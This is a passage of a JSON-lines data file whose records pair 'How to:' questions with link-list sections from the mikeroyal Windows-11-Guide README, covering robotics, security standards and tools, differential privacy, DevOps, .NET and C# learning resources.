upload computer code to the physical board.\n\n[ArduPilot](https://ardupilot.org/ardupilot/index.html) enables the creation and use of trusted, autonomous, unmanned vehicle systems for the peaceful benefit of all. ArduPilot provides a comprehensive suite of tools suitable for almost any vehicle and application.\n\n[AirSim](https://github.com/Microsoft/AirSim) is a simulator for drones, cars and more, built on Unreal Engine (we now also have an experimental Unity release). It is open-source, cross platform, and supports hardware-in-loop with popular flight controllers such as PX4 for physically and visually realistic simulations.\n\n[F´ (F Prime)](https://github.com/nasa/fprime) is a component-driven framework that enables rapid development and deployment of spaceflight and other embedded software applications. Originally developed at the Jet Propulsion Laboratory, F´ has been successfully deployed on several space applications.\n\n[The JPL Open Source Rover](https://github.com/nasa-jpl/open-source-rover) is an open source, build it yourself, scaled down version of the 6 wheel rover design that JPL uses to explore the surface of Mars. The Open Source Rover is designed almost entirely out of consumer off the shel", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522201"}
{"id": "gh_141dcbbc37b8", "question": "How to: Robotics Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Robotics courses from Coursera](https://www.edx.org/learn/robotics)\n\n[Learn Robotics with Online Courses and Classes from edX](https://www.edx.org/learn/robotics)\n\n[Top Robotics Courses Online from Udemy](https://www.udemy.com/topic/robotics/)\n\n[Free Online AI & Robotics Courses](https://www.futurelearn.com/subjects/it-and-computer-science-courses/ai-and-robotics)\n\n[REC Foundation Robotics Industry Certification](https://www.roboticseducation.org/industry-certifications/)\n\n[Carnegie Mellon Robotics Academy](https://www.cmu.edu/roboticsacademy/Training/Certifications.html)\n\n[RIA Robotic Integrator Certification Program](https://www.robotics.org/robotics/integrator-certification)\n\n[AWS RoboMaker – Develop, Test, Deploy, and Manage Intelligent Robotics Apps](https://aws.amazon.com/blogs/aws/aws-robomaker-develop-test-deploy-and-manage-intelligent-robotics-apps/)\n\n[Microsoft AI School](https://aischool.microsoft.com/en-us/home)\n\n[Language Understanding (LUIS) for Azure Cognitive Services](https://docs.microsoft.com/en-us/azure/cognitive-services/luis/what-is-luis)\n\n[Azure VM templates to bootstrap ROS and ROS 2 environments](https://ms-iot.github.io/ROSOnWindows/ROSAtMS/AzureVM.html)\n\n[Google Robotics Research](https://research.google/teams/brain/robotics/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522209"}
{"id": "gh_5301191b8cff", "question": "How to: Open Source Security", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n[Open Source Security Foundation (OpenSSF)](https://openssf.org/) is a cross-industry collaboration that brings together leaders to improve the security of open source software by building a broader community, targeted initiatives, and best practices. The OpenSSF brings together open source security initiatives under one foundation to accelerate work through cross-industry support. Along with the Core Infrastructure Initiative and the Open Source Security Coalition, and will include new working groups that address vulnerability disclosures, security tooling and more.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522215"}
{"id": "gh_d3fcf1a214d8", "question": "How to: Security Standards, Frameworks and Benchmarks", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[STIGs Benchmarks - Security Technical Implementation Guides](https://public.cyber.mil/stigs/)\n\n[CIS Benchmarks - CIS Center for Internet Security](https://www.cisecurity.org/cis-benchmarks/)\n\n[NIST - Current FIPS](https://www.nist.gov/itl/current-fips)\n\n[ISO Standards Catalogue](https://www.iso.org/standards.html)\n\n[Common Criteria for Information Technology Security Evaluation (CC)](https://www.commoncriteriaportal.org/cc/) is an international standard (ISO / IEC 15408) for computer security. It allows an objective evaluation to validate that a particular product satisfies a defined set of security requirements.\n\n[ISO 22301](https://www.iso.org/en/contents/data/standard/07/51/75106.html) is the international standard that provides a best-practice framework for implementing an optimised BCMS (business continuity management system).\n\n[ISO27001](https://www.iso.org/isoiec-27001-information-security.html) is the international standard that describes the requirements for an ISMS (information security management system). The framework is designed to help organizations manage their security practices in one place, consistently and cost-effectively.\n\n[ISO 27701](https://www.iso.org/en/contents/data/standard/07/16/71670.html) specifies the requirements for a PIMS (privacy information management system) based on the requirements of ISO 27001.\nIt is extended by a set of privacy-specific requirements, control objectives and controls. Companies that have implemented ISO 27001 will be able to use ISO 27701 to extend their security efforts to cover privacy management.\n\n[EU GDPR (General Data Protection Regulation)](https://gdpr.eu/) is a privacy and data protection law that supersedes existing national data protection laws across the EU, bringing uniformity by introducing just one main data protection law for companies/organizations to comply with.\n\n[CCPA (California Consumer Privacy Act)](https://www.oag.ca.gov/privacy/ccpa) is a data privacy law that took effect on January 1, 2020 in the State of California. It applies to businesses that collect California residents’ personal information, and its privacy requirements are similar to those of the EU’s GDPR (General Data Protection Regulation).\n\n[Payment Card Industry (PCI) Data Security Standards (DSS)](https://docs.microsoft.com/en-us/microsoft-365/compliance/offering-pci-dss) is a global information security standard designed to prevent fraud through increased control of credit card data.\n\n[SOC 2](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html) is an auditing procedure that ensures your service providers securely manage your data to protect the interests of your comapny/organization and the privacy of their clients.\n\n[NIST CSF](https://www.nist.gov/national-security-standards) is a voluntary framework primarily intended for critical infrastructure organizations to manage and mitigate cybersecurity risk based on existing best practice.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522226"}
{"id": "gh_ffbeb6b30cb7", "question": "How to: Security Tools", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[SELinux](https://github.com/SELinuxProject/selinux) is a security enhancement to Linux which allows users and administrators more control over access control. Access can be constrained on such variables as which users and applications can access which resources. These resources may take the form of files. Standard Linux access controls, such as file modes (-rwxr-xr-x) are modifiable by the user and the applications which the user runs. Conversely, SELinux access controls are determined by a policy loaded on the system which may not be changed by careless users or misbehaving applications.\n\n[Control Groups(Cgroups)](https://www.redhat.com/sysadmin/cgroups-part-one) is a Linux kernel feature that allows you to allocate resources such as CPU time, system memory, network bandwidth, or any combination of these resources for user-defined groups of tasks (processes) running on a system.\n\n[EarlyOOM](https://github.com/rfjakob/earlyoom) is a daemon for Linux that enables users to more quickly recover and regain control over their system in low-memory situations with heavy swap usage.\n\n[Libgcrypt](https://www.gnupg.org/related_software/libgcrypt/) is a general purpose cryptographic library originally based on code from GnuPG.\n\n[Kali Linux](https://www.kali.org/)  is an open source project that is maintained and funded by Offensive Security, a provider of world-class information security training and penetration testing services.\n\n[Pi-hole](https://pi-hole.net/) is a [DNS sinkhole](https://en.wikipedia.org/wiki/DNS_Sinkhole) that protects your devices from unwanted content, without installing any client-side software, intended for use on a private network. It is designed for use on embedded devices with network capability, such as the Raspberry Pi, but it can be used on other machines running Linux and cloud implementations.\n\n[Aircrack-ng](https://www.aircrack-ng.org/) is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless LANs. It works with any wireless network interface controller whose driver supports raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic.\n\n[Burp Suite](https://portswigger.net/burp) is a leading range of cybersecurity tools.\n\n[KernelCI](https://foundation.kernelci.org/) is a community-based open source distributed test automation system focused on upstream kernel development. The primary goal of KernelCI is to use an open testing philosophy to ensure the quality, stability and long-term maintenance of the Linux kernel.\n\n[Continuous Kernel Integration project](https://github.com/cki-project) helps find bugs in kernel patches before they are commited to an upstram kernel tree. We are team of kernel developers, kernel testers, and automation engineers.\n\n[eBPF](https://ebpf.io) is a revolutionary technology that can run sandboxed programs in the Linux kernel without changing kernel source code or loading kernel modules. By making the Linux kernel programmable, infrastructure software can leverage existing layers, making them more intelligent and feature-rich without continuing to add additional layers of complexity to the system.\n\n[Cilium](https://cilium.io/) uses eBPF to accelerate getting data in and out of L7 proxies such as Envoy, enabling efficient visibility into API protocols like HTTP, gRPC, and Kafka.\n\n[Hubble](https://github.com/cilium/hubble) is a Network, Service & Security Observability for Kubernetes using eBPF.\n\n[Istio](https://istio.io/) is an open platform to connect, manage, and secure microservices. Istio's control plane provides an abstraction layer over the underlying cluster management platform, such as Kubernetes and Mesos.\n\n[Certgen](https://github.com/cilium/certgen) is a convenience tool to generate and store certificates for Hubble Relay mTLS.\n\n[Scapy](https://scapy.net/) is a python-based interactive packet manipulation program & library.\n\n[syzkaller](https://github.com/google/syzkaller) is an unsupervised, coverage-guided kernel fuzzer.\n\n[SchedViz](https://github.com/google/schedviz) is a tool for gathering and visualizing kernel scheduling traces on Linux machines.\n\n[oss-fuzz](https://google.github.io/oss-fuzz/) aims to make common open source software more secure and stable by combining modern fuzzing techniques with scalable, distributed execution.\n\n[OSSEC](https://www.ossec.net/) is a free, open-source host-based intrusion detection system. It performs log analysis, integrity checking, Windows registry monitoring, rootkit detection, time-based alerting, and active response.\n\n[Metasploit Project](https://www.metasploit.com/) is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.\n\n[Wfuzz](https://github.com/xmendez/wfuzz) was created to facilitate the task in web applications assessments and it is based on a simple concept: it replaces any reference to the FUZZ keyword by the val", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522251"}
{"id": "gh_999c6cfc899f", "question": "How to: Differential Privacy", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n[Differential Privacy](https://www.microsoft.com/en-us/ai/ai-lab-differential-privacy) is a system that simultaneously enables researchers and analysts to extract useful insights from datasets containing personal information and offers stronger privacy protections. This is achieved by introducing \"statistical noise\".\n\n[Statistical Noise](https://news.microsoft.com/on-the-issues/2020/08/27/statistical-noise-data-differential-privacy/) is a process that small aletrations to masked datasets. The statistical noise hides identifiable characteristics of individuals, ensuring that the privacy of personal information is protected, but it's small enough to not materially impact the accuracy of the answers extracted by analysts and researchers.\n\n[Laplacian Noise](https://en.wikipedia.org/wiki/Laplace_distribution) is a mechanism that adds Laplacian-distributed noise to a function.\nAbove is a simple diagram of how Differential Privacy-Preserving Data Sharing and Data Mining protects a User's Data", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522268"}
{"id": "gh_07d7994c4ab4", "question": "How to: Privacy Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Differential Privacy Blog Series by the National Institute of Standards and Technology(NIST)](https://www.nist.gov/itl/applied-cybersecurity/privacy-engineering/collaboration-space/focus-areas/de-id/dp-blog)\n\n[Apple's Differential Privacy Overview](https://www.apple.com/privacy/docs/Differential_Privacy_Overview.pdf)\n\n[Learning with Privacy at Scale with Apple Machine Learning](https://machinelearning.apple.com/research/learning-with-privacy-at-scale)\n\n[Microsoft Research Differential Privacy Overview](https://www.microsoft.com/en-us/research/publication/differential-privacy/)\n\n[Responsible Machine Learning with Microsoft Azure](https://azure.microsoft.com/en-us/services/machine-learning/responsibleml/)\n\n[Responsible AI Resources with Microsoft AI](https://www.microsoft.com/en-us/ai/responsible-ai-resources)\n\n[Preserve data privacy by using differential privacy and the SmartNoise package](https://docs.microsoft.com/en-us/azure/machine-learning/concept-differential-privacy)\n\n[Open Differential Privacy(OpenDP) Initiative by Microsoft and Harvard](https://projects.iq.harvard.edu/opendp)\n\n[Google's Differential Privacy Library](https://github.com/google/differential-privacy)\n\n[Computing Private Statistics with Privacy on Beam from Google Codelabs](https://codelabs.developers.google.com/codelabs/privacy-on-beam/#0)\n\n[Introducing TensorFlow Privacy: Learning with Differential Privacy for Training Data](https://blog.tensorflow.org/2020/06/introducing-new-privacy-testing-library.html)\n\n[TensorFlow Federated: Machine Learning on Decentralized Data](https://www.tensorflow.org/federated/)\n\n[Federated Analytics: Collaborative Data Science without Data Collection](https://ai.googleblog.com/2020/05/federated-analytics-collaborative-data.html)\n\n[Differentially-Private Stochastic Gradient Descent(DP-SGD)](https://github.com/tensorflow/privacy/blob/master/tutorials/walkthrough/README.md)\n\n[Learning Differential Privacy from Harvard University Privacy Tools Project](https://privacytools.seas.harvard.edu/differential-privacy)\n\n[Harvard University Privacy Tools Project Courses & Educational Materials](https://privacytools.seas.harvard.edu/courses-educational-materials)\n\n[The Weaknesses of Differential Privacy course on Coursera](https://www.coursera.org/lecture/data-results/weaknesses-of-differential-privacy-50Y9k)\n\n[The Differential Privacy of Bayesian Inference](https://privacytools.seas.harvard.edu/publications/differential-privacy-bayesian-inference)\n\n[Simultaneous private learning of multiple concepts](https://privacytools.seas.harvard.edu/publications/simultaneous-private-learning-multiple-concepts)\n\n[The Complexity of Computing the Optimal Composition of Differential Privacy](https://privacytools.seas.harvard.edu/publications/complexity-computing-optimal-composition-differential-privacy)\n\n[Order revealing encryption and the hardness of private learning](https://privacytools.seas.harvard.edu/publications/order-revealing-encryption-and-hardness-private-learning)\n\n[SAP HANA data anonymization using SAP Software Solutions](https://www.sap.com/cmp/dg/crm-xt17-ddm-data-anony/index.html)\n\n[SAP HANA Security using their In-Memory Database](https://www.sap.com/products/hana/features/security.html)\n\n[DEFCON Differential Privacy Training Launch](https://opensource.googleblog.com/2020/08/defcon-differential-privacy-training.html)\n\n[Secure and Private AI course on Udacity](https://www.udacity.com/course/secure-and-private-ai--ud185)\n\n[Differential Privacy - Security and Privacy for Big Data - Part 1 course on Coursera](https://www.coursera.org/learn/security-privacy-big-data)\n\n[Differential Privacy - Security and Privacy for Big Data - Part 2 course on Coursera](https://www.coursera.org/learn/security-privacy-big-data-protection)\n\n[Certified Ethical Emerging Technologist Professional Certificate course on Coursera](https://www.coursera.org/professional-certificates/certified-ethical-emerging-technologist)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522279"}
{"id": "gh_ba99951b77fb", "question": "How to: DevOps Tools", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[GitHub](https://github.com/) provides hosting for software development version control using Git. It offers all of the distributed version control and source code management functionality of Git as well as adding its own features. It provides access control and several collaboration features such as bug tracking, feature requests, task management, and wikis for every project.\n\n[GitHub Codespaces](https://docs.github.com/en/free-pro-team@latest/github/developing-online-with-codespaces) is an integrated development environment(IDE) on GitHub. That allows developers to develop entirely in the cloud using Visual Studio and Visual Studio Code.\n\n[GitHub Actions](https://docs.github.com/en/actions) will automate, customize, and execute your software development workflows right in your repository with GitHub Actions. You can discover, create, and share actions to perform any job you'd like, including CI/CD, and combine actions in a completely customized workflow.[GitHub Actions for Azure](https://docs.microsoft.com/en-us/azure/developer/github/github-actions) you can create workflows that you can set up in your repository to build, test, package, release and deploy to Azure.Learn more about all other integrations with Azure.\n\n[GitLab](https://about.gitlab.com/) is a web-based DevOps lifecycle tool that provides a Git-repository manager providing wiki, issue-tracking and CI/CD pipeline features, using an open-source license, developed by GitLab Inc.\n\n[Jenkins](https://jenkins.io/) is a free and open source automation server. Jenkins helps to automate the non-human part of the software development process, with continuous integration and facilitating technical aspects of continuous delivery.\n\n[Bitbucket](https://bitbucket.org/) is a web-based version control repository hosting service owned by Atlassian, for source code and development projects that use either Mercurial or Git revision control systems. Bitbucket offers both commercial plans and free accounts. It offers free accounts with an unlimited number of private repositories. Bitbucket integrates with other Atlassian software like Jira, HipChat, Confluence and Bamboo.\n\n[Bamboo](https://www.atlassian.com/software/bamboo) is a continuous integration (CI) server that can be used to automate the release management for a software application, creating a continuous delivery pipeline.\n\n[Codecov](https://codecov.io/) is the leading, dedicated code coverage solution. It provides highly integrated tools to group, merge, archive and compare coverage reports. Whether your team is comparing changes in a pull request or reviewing a single commit, Codecov will improve the code review workflow and quality.\n\n[Drone](https://drone.io/) is a Continuous Delivery system built on container technology. Drone uses a simple YAML configuration file, a superset of docker-compose, to define and execute Pipelines inside Docker containers.\n\n[Travis CI](https://travis-ci.org/) is a hosted continuous integration service used to build and test software projects hosted at GitHub.\n\n[Circle CI](https://circleci.com/) is a continuous integration and continuous delivery platform that helps software teams work smarter, faster.\n\n[Zuul-CI](https://zuul-ci.org/index.html) is a program that drives continuous integration, delivery, and deployment systems with a focus on project gating and interrelated projects. Using the same [Ansible playbooks](https://docs.ansible.com/ansible/latest/user_guide/playbooks.html) to deploy your system and run your tests.\n\n[Artifactory](https://jfrog.com/artifactory/) is a Universal Artifact Repository Manager developed by JFrog. It supports all major packages, enterprise ready security, clustered, HA, Docker registry, multi-site replication and scalable.\n\n[Azure DevOps](https://azure.microsoft.com/en-us/services/devops/?nav=min) is a set of services for teams to share code, track work, and ship software; CLIs Build, deploy, diagnose, and manage multi-platform, scalable apps and services; Azure Pipelines Continuously build, test, and deploy to any platform and cloud; Azure Lab Services Set up labs for classrooms, trials, development and testing, and other scenarios.\n\n[Team City](https://www.jetbrains.com/teamcity/) is a build management and continuous integration server from JetBrains.\n\n[Shippable](https://www.shippable.com/) simplifies DevOps and makes it systematic with an Assembly Line platform that is heterogeneous, flexible, and provides complete visibility across your DevOps workflows.\n\n[Spinnaker](https://www.spinnaker.io/) is an open source, multi-cloud continuous delivery platform for releasing software changes with high velocity and confidence.\n\n[AWS CodeBuild](https://aws.amazon.com/codebuild/) is a fully managed continuous integration service that compiles source code, runs tests, and produces software packages that are ready to deploy. With CodeBuild, you don't need to provision, manage, and scale your own build servers.\n\n[Selenium](https://www.seleniumhq.org/", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522331"}
{"id": "gh_b7e6b77a19a5", "question": "How to: DevOps Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[DevOps Engineering on AWS from AWS Training](https://aws.amazon.com/training/course-descriptions/devops-engineering/)\n\n[AWS Certified DevOps Engineer - Professional from A Cloud Guru](https://acloud.guru/learn/aws-certified-devops-engineer-professional)\n\n[Microsoft Certified: DevOps Engineer Expert Cert.](https://docs.microsoft.com/en-us/learn/certifications/devops-engineer)\n\n[Introduction to Azure DevOps from A Cloud Guru](https://acloud.guru/learn/introduction-to-azure-devops)\n\n[Architecting with Google Compute Engine](https://google.qwiklabs.com/courses/1421?utm_source=gcp_training&utm_medium=website&utm_campaign=cgc)\n\n[Architecting with Google Kubernetes Engine in Google Cloud](https://google.qwiklabs.com/courses/1232?utm_source=gcp_training&utm_medium=website&utm_campaign=cgc)\n\n[VMware Training and Certification Program](https://www.vmware.com/education-services/certification.html)\n\n[Cloudera Certification Program](https://www.cloudera.com/about/training/certification.html)\n\n[Salesforce Certification Program](https://trailhead.salesforce.com/credentials/administratoroverview)\n\n[Salesforce Superbadges](https://trailhead.salesforce.com/superbadges)\n\n[Red Hat Training and Certification Program](https://www.redhat.com/en/services/training-and-certification)\n\n[Linux Foundation Training and Certification Program](https://training.linuxfoundation.org/certification/)\n\n[Linux Professional Institute(LPI) Training and Certification](https://www.lpi.org)\n\n[Learn DevOps with Online Courses and Lessons from edX](https://www.edx.org/learn/devops)\n\n[Top DevOps Courses Online from Udemy](https://www.udemy.com/topic/devops/)\n\n[Devops Courses from Coursera](https://www.coursera.org/courses?languages=en&query=devops)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522339"}
{"id": "gh_46dd788280e7", "question": "How to: .NET Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522344"}
{"id": "gh_1994a9bd6c87", "question": "How to: .NET Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[.NET](https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet) is a developer platform with tools and libraries for building any type of app, including web, mobile, desktop, games, IoT, cloud, and microservices.\n\n[Announcing .NET 6](https://devblogs.microsoft.com/dotnet/announcing-net-6/)\n\n[.NET documentation](https://docs.microsoft.com/en-us/dotnet/fundamentals/)\n\n[C# documentation](https://docs.microsoft.com/en-us/dotnet/csharp/)\n\n[Getting started with .NET](https://docs.microsoft.com/en-us/dotnet/standard/get-started)\n\n[.NET Application Architecture Guide](https://dotnet.microsoft.com/learn/dotnet/architecture-guides)\n\n[Intro .NET Guide by JetBrains ](https://blog.jetbrains.com/dotnet/2020/07/09/introducing-the-net-guide-tutorials-and-tips-tricks-for-net-rider-and-resharper/)\n\n[.NET on Microsoft Learn | Microsoft Docs](https://docs.microsoft.com/en-us/learn/dotnet/)\n\n[Top .NET Courses Online | Udemy](https://www.udemy.com/topic/net/)\n\n[Top ASP.NET Core Courses Online | Udemy](https://www.udemy.com/topic/aspnet-core/)\n\n[Learn Parallel Programming with C# and .NET | Udemy](https://www.udemy.com/course/parallel-dotnet/)\n\n[Learn to build an e-commerce app with .Net Core and Angular | Udemy](https://www.udemy.com/course/learn-to-build-an-e-commerce-app-with-net-core-and-angular/)\n\n[Dependency Injection in C# and .NET with the Autofac Library | Udemy](https://www.udemy.com/course/di-ioc-dotnet/)\n\n[Modern Application Development with .NET on AWS Specialization | Coursera](https://www.coursera.org/specializations/aws-net-serverless-development)\n\n[Introducing .NET Core Course | Coursera](https://www.coursera.org/lecture/develop-windows-apps-gcp/introducing-net-core-JkSfp)\n\n[Learn .NET with Online Courses | edX](https://www.edx.org/learn/.net)\n\n[.NET Training Course | LearningTree](https://www.learningtree.com/training-directory/net-visual-studio-training/)\n\n[.NET Training: Introduction | Pluralsight](https://www.pluralsight.com/courses/becoming-dotnet-developer)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522352"}
{"id": "gh_7c311d2258a8", "question": "How to: .NET Tools and Frameworks", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Visual Studio](https://visualstudio.microsoft.com/) is an integrated development environment (IDE) from Microsoft; which is a feature-rich application that can be used for many aspects of software development. Visual Studio makes it easy to edit, debug, build, and publish your app. By using Microsoft software development platforms such as Windows API, Windows Forms, Windows Presentation Foundation, and Windows Store.\n\n[Visual Studio Code](https://code.visualstudio.com/) is a code editor redefined and optimized for building and debugging modern web and cloud applications.\n\n[Code Server](https://coder.com/) is a tool that allows you to run [VS Code](https://code.visualstudio.com/) on any machine anywhere and access it in the browser.\n\n[Language Server Protocol (LSP)](https://microsoft.github.io/language-server-protocol/) is a tool that defines the protocol used between an editor or IDE and a language server that provides language features like auto complete, go to definition, find all references.\n\n[Tabnine](https://marketplace.visualstudio.com/items?itemName=TabNine.tabnine-vscode) is the AI code completion tool trusted by millions of developers to code faster with fewer errors. Whether you are a new dev or a seasoned pro, working solo or part of a team, Tabnine will help push your productivity to new heights while cutting your QA time.\n\n[.NET Core](https://docs.microsoft.com/en-us/dotnet/core/introduction) is a cross-platform .NET implementation for websites, servers, and console apps on Windows, Linux, and macOS.The .NET Framework supports websites, services, desktop apps, and more on Windows. Xamarin/Mono is a .NET implementation for running apps on all the major mobile operating systems.\n\n[.NET runtime](https://github.com/dotnet/runtime) is a collection of libraries and shared host (dotnet) installers for all supported platforms, as well as the sources to .NET runtime and libraries.\n\n[ASP.NET Core](https://asp.net/) is a cross-platform .NET framework for building modern cloud-based web applications on Windows, Mac, or Linux.\n\n[Mono](https://www.mono-project.com/) is a software platform designed to allow developers to easily create cross platform applications. It is an open source implementation of Microsoft's .NET Framework based on the ECMA standards for C# and the Common Language Runtime.\n\n[Rider](https://www.jetbrains.com/rider/) is a fast and powerful, cross-platform .NET IDE devloped by JetBrains to develop .NET, ASP.NET, .NET Core, Xamarin; or Unity applications for Windows, Mac, Linux.\n\n[Resharper](https://www.jetbrains.com/resharper/) is a [Visual Studio](https://visualstudio.microsoft.com/) Extension for .NET Developers that has On-the-fly code quality analysis for C#, VB.NET, XAML, ASP.NET, ASP.NET MVC, JavaScript, TypeScript, CSS, HTML, and XML. Letting you know right away if your code needs to be improved.\n\n[dotTrace](https://www.jetbrains.com/profiler/) is an .NET performance Profiler developed by Jet Brains. It helps users locate performance bottlenecks in a variety of .NET applications: desktop applications, .NET Core, ASP.NET, ASP.NET Core applications hosted on IIS or IIS Express web servers, Silverlight, WCF services, Windows services, Universal Windows Platform applications, and unit tests.\n\n[dotMemory](https://www.jetbrains.com/dotmemory/) is an .NET memory Profiler developed by Jet Brains. It allows the user to analyze memory usage in a variety of .NET and .NET Core applications: desktop applications, Windows services, ASP.NET web applications, IIS, IIS Express, arbitrary .NET processes, and more.\n\n[dotCover](https://www.jetbrains.com/dotcover/) is an .NET unit test runner and code coverage tool developed by Jet Brains. It helps the user figure out on-the-fly which unit tests are affected by your latest code changes, and automatically re-runs the affected tests for you. The continuous testing mode can be switched on for any unit test session.\n\n[Avalonia](https://avaloniaui.net/) is a cross-platform XAML-based UI framework providing a flexible styling system and supporting a wide range of Operating Systems such as Windows via .NET Framework and .NET Core, Linux via Xorg, macOS.\n\n[Polly](https://github.com/App-vNext/Polly) is a .NET resilience and transient-fault-handling library that allows developers to express policies such as Retry, Circuit Breaker, Timeout, Bulkhead Isolation, and Fallback in a fluent and thread-safe manner.\n\n[IdentityServer](https://identityserver.io/) is a free, open source [OpenID Connect](https://openid.net/connect/) and [OAuth 2.0](https://tools.ietf.org/html/rfc6749) framework for ASP.NET Core. IdentityServer4 incorporates all the protocol implementations and extensibility points needed to integrate token-based authentication, single-sign-on and API access control in your applications.\n\n[ILSpy](https://github.com/icsharpcode/ILSpy) is the open-source .NET assembly browser and decompiler.\n\n[Hangfire](https://www.hangfire.io/) is an easy way to perform backgro", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522366"}
{"id": "gh_b95573c05a64", "question": "How to: C# Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n**[Start building with C# on Azure](https://docs.microsoft.com/en-us/azure/search/tutorial-csharp-create-first-app)**\n\n**[C# Documentation](https://docs.microsoft.com/en-us/dotnet/csharp/)**", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522376"}
{"id": "gh_ffc3e3bb33f1", "question": "How to: C# Learning  Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[C#](https://docs.microsoft.com/en-us/dotnet/csharp/) is a modern and object-oriented programming language developed by Microsoft to write any application using the C# programming language on the .NET platform.\n\n[Taking your first steps with C#](https://docs.microsoft.com/en-us/learn/paths/csharp-first-steps/)\n\n[Learning C#](https://dotnet.microsoft.com/learn/csharp)\n\n[C# development with Visual Studio](https://docs.microsoft.com/en-us/visualstudio/get-started/csharp/)\n\n[C# programming with Visual Studio Code](https://code.visualstudio.com/Docs/languages/csharp)\n\n[Working with data in C#](https://docs.microsoft.com/en-us/learn/paths/csharp-data/)\n\n[C# Tutorial by W3Schools](https://www.w3schools.com/cs/)\n\n[Windows Forms for .NET 5 and .NET Core 3.1](https://docs.microsoft.com/en-us/dotnet/desktop/winforms/?view=netdesktop-5.0)\n\n[Xamarin documentation](https://docs.microsoft.com/en-us/xamarin/)\n\n[Advanced Topics in C# by Udemy](https://www.udemy.com/course/advanced-topics-csharp/)\n\n[The complete C# tutorial](https://csharp.net-tutorials.com/)\n\n[Unity C# Survival Guide](https://learn.unity.com/course/unity-c-survival-guide)\n\n[RabbitMQ .NET/C# Client API](https://www.rabbitmq.com/dotnet-api-guide.html)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522382"}
